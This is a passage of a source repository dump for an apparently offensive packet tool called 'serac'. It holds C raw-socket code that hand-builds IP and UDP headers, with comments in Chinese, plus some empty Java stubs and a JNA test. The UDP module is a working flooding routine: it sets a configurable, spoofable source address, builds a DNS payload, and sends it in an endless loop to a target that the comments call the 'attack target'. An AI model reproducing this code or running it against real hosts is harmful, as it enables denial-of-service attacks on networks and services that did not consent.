//刚看了slowloris的源码，并没有用到keepalived，就是简单的多线程发送数据包 151 | ret = sendto(sockfd, buf, 40 + len_payload, 0, 152 | (struct sockaddr *)dst_addr, 153 | sizeof(struct sockaddr)); 154 | printf("the ret is %d===\n", ret); 155 | 156 | sleep(1); 157 | } 158 | 159 | return 0; 160 | } 161 | -------------------------------------------------------------------------------- /serac-c/src/packet/tcp.h: -------------------------------------------------------------------------------- 1 | #include "macros.h" 2 | #include "checksum.h" 3 | #include "payload.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | int sock_init_tcp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr); 18 | 19 | int 20 | creator_tcphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 21 | struct sockaddr_in *dst_addr, int len_total); 22 | 23 | int creator_header_tcp(struct tcphdr *header_tcp); 24 | 25 | int 26 | send_tcp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_payload); 27 | -------------------------------------------------------------------------------- /serac-c/src/packet/udp.c: -------------------------------------------------------------------------------- 1 | /** 2 | 经过一晚上和一上午的调试，终于解决了一个问题： 3 | 本来是所有代码都在main里面，但是转成模块化的函数时，发出的数据包始终是畸形， 4 | 表现为ip报文的total lenght非常大，端口也不对，也没有正常的负载数据。 5 | 为什么会出现这种情况，仔细对比发现，把下面三个变量的顺序调换一下就不行， 6 | 并且下面三个变量任意一个都不能放在main外面作为全局变量， 7 | 这三个变量必须放在main函数体内才能正常运行,这显然是个诡异的逻辑错误。 8 | 后来发现存在两个问题，主要是编码习惯问题， 9 | 第一memset初始化时该用strlen却用了sizeof，这里可能导致过度清空了不能清空的数据 10 | 第二变量定义尽量不放在main外面作为全局变量，能用局部变量就最好用局部变量， 11 | 这是个编码规范和习惯问题，不注意容易导致莫名其妙的bug，gdb也没用， 12 | 而且导致的问题需要细心程度很高才能查出来 13 | int sockfd; 14 | int on; 15 | char *data; 16 | */ 17 | 18 | #include "udp.h" 19 | 20 | //int main(int argc, char **argv) 21 | 22 | int creator_udp(void) 23 | { 24 | int sockfd, len_payload, len_total; 25 | struct sockaddr_in *src_addr, *dst_addr; 26 | 27 | char *buf, *payload; 28 | struct ip *header_ip; 29 | struct udphdr *header_udp; 30 | 31 | buf = malloc(200); 32 | payload = malloc(100); 33 | src_addr = malloc(sizeof(struct sockaddr_in)); 34 | dst_addr = malloc(sizeof(struct sockaddr_in)); 35 | 36 | header_ip = (struct ip *)buf; 37 | header_udp = (struct udphdr *)(buf + sizeof(struct ip)); 38 | payload = buf + sizeof(struct ip) + sizeof(struct udphdr); 39 | 40 | memset(buf, '\0', sizeof(buf)); 41 | 42 | memset(src_addr, '\0', sizeof(struct sockaddr_in)); 43 | memset(dst_addr, '\0', sizeof(struct sockaddr_in)); 44 | 45 | len_payload = payload_udp_dns(payload); 46 | 47 | len_total = sizeof(struct ip) + sizeof(struct udphdr) + len_payload; 48 | 49 | //构建原始套接字 50 | sockfd = sock_init_udp(src_addr, dst_addr); 51 | 52 | //初始化ip报头 53 | creator_udphdr_ip(header_ip, src_addr, dst_addr, len_total); 54 | 55 | //初始化udp报头，并填充数据 56 | creator_header_udp(header_udp, len_total); 57 | 58 | //ip校验和是否填充无所谓，网卡会自动计算出来 59 | header_ip->ip_sum = creator_check_sum(buf, IPPROTO_IP); 60 | 61 | //udp校验和 62 | header_udp->check = creator_check_sum(buf, IPPROTO_UDP); 63 | 64 | // printf("the ip_sum is %02x===\n", header_ip->ip_sum); 65 | // printf("the udp_sum is %02x===\n", header_udp->check); 66 | 67 | //发送udp数据包 68 | send_udp(sockfd, dst_addr, buf, len_total); 69 | 70 | return 0; 71 | } 72 | 73 | int sock_init_udp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr) 74 | { 75 | int sockfd, sockopt_on; 76 | 77 | /*创建一个UDP的原始套接字 */ 78 | sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); 79 | if (sockfd < 0) { 80 | exit(1); 81 | } 82 | 83 | /*设置套接字选项IP_HDRINCL,由用户程序填写IP头部 */ 84 | setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &sockopt_on, 85 | sizeof(sockopt_on)); 86 | 87 | //setuid(getuid()); /*获得超级用户的权限*/ 88 | 89 | /*数据报的长度即IP头部与UDP头部之后 */ 90 | dst_addr->sin_family = AF_INET; 91 | dst_addr->sin_port = htons(DST_PORT); 92 | inet_aton(DST_IP, &(dst_addr->sin_addr)); 93 | 94 | bzero(src_addr, sizeof(struct sockaddr_in)); 95 | src_addr->sin_family = AF_INET; 96 | src_addr->sin_port = htons(SRC_PORT); 97 | inet_aton(SRC_IP, &(src_addr->sin_addr)); 98 | 99 | return sockfd; 100 | } 101 | 102 | int 103 | creator_udphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 104 | struct sockaddr_in *dst_addr, int len_total) 105 | { 106 | /*开始填充IP数据报的头部 */ 107 | header_ip->ip_v = IPVERSION; //IPV4 这个字段只能是整形 108 | //header_ip->ip_v = htons(IPVERSION); //转换成网络序数字后，数据包能正常发出，但是version字段为0 109 | 110 | //header_ip->ip_hl = sizeof(struct ip) >> 2; //IP数据报的头部长度 111 | header_ip->ip_hl = 5; //这个字段只能是整形 ,转换成网络序数字导致数据包发送不出去 112 | 113 | //header_ip->ip_tos = 0xEC; //服务类型不能转换成网络序号，也不能用整形，可以用十六进制 114 | header_ip->ip_tos = 0b11101000; //服务类型，最好是用二进制 115 | 116 | header_ip->ip_len = htons(len_total); //IP数据报的长度，必须转网络序整数，否则校验和无法计算 117 | 118 | header_ip->ip_id = htons(99); //这是个标志位，是否转网络序无所谓，不影响 119 | 120 | //ip flags字段，对应头文件说明 121 | //#define IP_RF 0x8000 // reserved fragment flag 1000000000000000 122 | //#define IP_DF 0x4000 // dont fragment flag 0100000000000000 123 | //#define IP_MF 0x2000 // more fragments flag 0010000000000000 124 | //#define IP_OFFMASK 0x1fff // mask for fragmenting bits 用不了，原因不明 125 | // 0xC000 //开启保留字段不分片位 0110000000000000 126 | 127 | //header_ip->ip_off = htons(0x4000); //单独启用不分片字段 128 | //header_ip->ip_off = htons(0x02000); //启用更多偏移位 //0010000000000000 129 | //header_ip->ip_off = htons(0x20B9); //设置了偏移位会导致发布出去，原因目前不清楚 130 | header_ip->ip_off = htons(0xC000); //这个字段必须转成网络序数字，启用保留和不分片字段 131 | 132 | header_ip->ip_ttl = 60; //ip_ttl只能是整形 ,不能转换成网络序数字 133 | 134 | header_ip->ip_p = IPPROTO_UDP; //传输层协议为UDP,只能是整形，也可以用宏 135 | 136 | header_ip->ip_sum = htons(0); //计算校验和之前必须置0， 137 | //如果不计算校验和，随便设置多少网卡都会计算并填充 138 | 139 | header_ip->ip_src = src_addr->sin_addr; //源地址，即攻击来源，这个结构体已经是网络序 140 | header_ip->ip_dst = dst_addr->sin_addr; //目的地址，即攻击目标，也这结构体已经是网络序 141 | 142 | printf("dst address is %s\n", inet_ntoa(dst_addr->sin_addr)); 143 | printf("src address is %s\n", inet_ntoa(src_addr->sin_addr)); 144 | 145 | return 0; 146 | } 147 | 148 | int creator_header_udp(struct udphdr *header_udp, int len_total) 149 | { 150 | //======================开始填写UDP数据报============================// 151 | //通过强制类型转换，获取指向UDP头部的指针 152 | 153 | //这里是源端口和目的端口，必须要把整形数组的字节序转换为网络字节序 154 | header_udp->source = htons(SRC_PORT); 155 | header_udp->dest = htons(DST_PORT); 156 | 157 | header_udp->check = 0; 158 | 159 | header_udp->len = htons(len_total - sizeof(struct iphdr) ); 160 | 161 | return 0; 162 | } 163 | 164 | int 165 | send_udp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_total) 166 | { 167 | int ret; 168 | while (1) { 169 | //发送攻击UDP数据报,这里第三个参数表示写入长度; 170 | //其实这个长度写大点无所谓，sendto自动会到\0停止写入。 171 | //抓包分析，这里的第三个参数就是ip报头的total length的值 172 | //注意：通常最好用strlen获取字符串长度，这里不能用strlen(buf) 173 | //因为buf经过强制转换过，strlen(buf)是1，必须使用一个较大的整形 174 | //由于buf是指定长度的数组，所以也可以用sizeof(buf) 175 | //如果buf是用malloc申请内存的，那么sizeof(buf)返回的是这个 176 | //指针编号的长度8，无法通过指针获取长度，也没必要，因为malloc已经指定 177 | ret = sendto(sockfd, buf, len_total, 0, 178 | (struct sockaddr *)dst_addr, 179 | sizeof(struct sockaddr)); 180 | 181 | perror("sendto of udp"); 182 | printf("the rerun value of send is %d===\n", ret); 183 | sleep(1); 184 | } 185 | 186 | return 0; 187 | } 188 | -------------------------------------------------------------------------------- /serac-c/src/packet/udp.h: -------------------------------------------------------------------------------- 1 | #include "macros.h" 2 | #include "checksum.h" 3 | #include "payload.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | int sock_init_udp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr); 18 | 19 | int 20 | creator_udphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 21 | struct sockaddr_in *dst_addr, int len_total); 22 | 23 | int creator_header_udp(struct udphdr *header_udp, int len_total); 24 | 25 | int 26 | send_udp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_total); 27 | -------------------------------------------------------------------------------- /serac-core/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.geektcp.alpha 8 | serac-core 9 | 1.0 10 | 11 | 12 | 13 | com.geektcp.alpha 14 | serac-lib 15 | 1.0 16 | 17 | 18 | -------------------------------------------------------------------------------- /serac-core/src/main/java/com/geektcp/alpha/serac/core/TcpBuilder.java: -------------------------------------------------------------------------------- 1 | package com.geektcp.alpha.serac.core; 2 | 3 | /** 4 | * @author nagle on 2020/3/15 17:21. 5 | */ 6 | public class TcpBuilder { 7 | } 8 | -------------------------------------------------------------------------------- /serac-lib/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.geektcp.alpha 8 | serac-lib 9 | 1.0 10 | 11 | 12 | 1.8 13 | 1.8 14 | 15 | 16 | 17 | 18 | net.java.dev.jna 19 | jna-platform 20 | 5.2.0 21 | 22 | 23 | org.projectlombok 24 | lombok 25 | 1.18.0 26 | 27 | 28 | org.springframework.boot 29 | spring-boot-starter-log4j2 30 | 1.5.19.RELEASE 31 | 32 | 33 | 34 | 35 | 36 | 37 | org.apache.maven.plugins 38 | maven-compiler-plugin 39 | 3.1 40 | 41 | 1.8 42 | 1.8 43 | UTF-8 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /serac-lib/src/main/java/com/geektcp/alpha/serac/lib/JnaBuilder.java: -------------------------------------------------------------------------------- 1 | package com.geektcp.alpha.serac.lib; 2 | 3 | /** 4 | * @author nagle on 2020/3/15 17:22. 5 | */ 6 | public class JnaBuilder { 7 | } 8 | -------------------------------------------------------------------------------- /serac-lib/src/test/java/com/geektcp/alpha/sera/lib/JnaBuilderTest.java: -------------------------------------------------------------------------------- 1 | package com.geektcp.alpha.sera.lib; 2 | 3 | import java.io.File; 4 | 5 | import com.sun.jna.Library; 6 | import com.sun.jna.Native; 7 | import lombok.extern.slf4j.Slf4j; 8 | 9 | import java.net.URL; 10 | import java.util.Arrays; 11 | import java.util.Objects; 12 | 13 | /** 14 | * @author tanghaiyang on 2020/5/8 16:42. 15 | */ 16 | @Slf4j 17 | public class JnaBuilderTest { 18 | 19 | public interface ExampleJNA extends Library { 20 | int sum(int num1, int num2); 21 | void sumArray(int[] a, int[] b, int[] result, int size); 22 | } 23 | 24 | public static void main(String[] args) { 25 | // get lib folder from resource 26 | URL url = JnaBuilderTest.class.getClassLoader().getResource("lib"); 27 | if (Objects.isNull(url)) { 28 | return; 29 | } 30 | File file = new File(url.getFile()); 31 | 32 | // set jna.library.path to the path of lib 33 | System.setProperty("jna.library.path", file.getAbsolutePath()); 34 | // load example.so from lib 35 | ExampleJNA example = Native.load("example", ExampleJNA.class); 36 | 37 | // call sum method from example library 38 | int a = 2; 39 | int b = 3; 40 | int result = example.sum(a, b); 41 | log.info(a + " + " + b + " = " + result); 42 | 43 | // example using arrays 44 | int size = 5; 45 | // input 2 integer arrays 46 | int[] listA = new int[]{1, 2, 3, 4, 5}; 47 | int[] listB = new int[]{5, 4, 3, 2, 1}; 48 | // output the sum of the arrays 49 | int[] listC = new int[size]; 50 | example.sumArray(listA, listB, listC, size); 51 | log.info("A = " + Arrays.toString(listA)); 52 | log.info("B = " + Arrays.toString(listB)); 53 | log.info("A + B = " + Arrays.toString(listC)); 54 | 55 | } 56 | } --------------------------------------------------------------------------------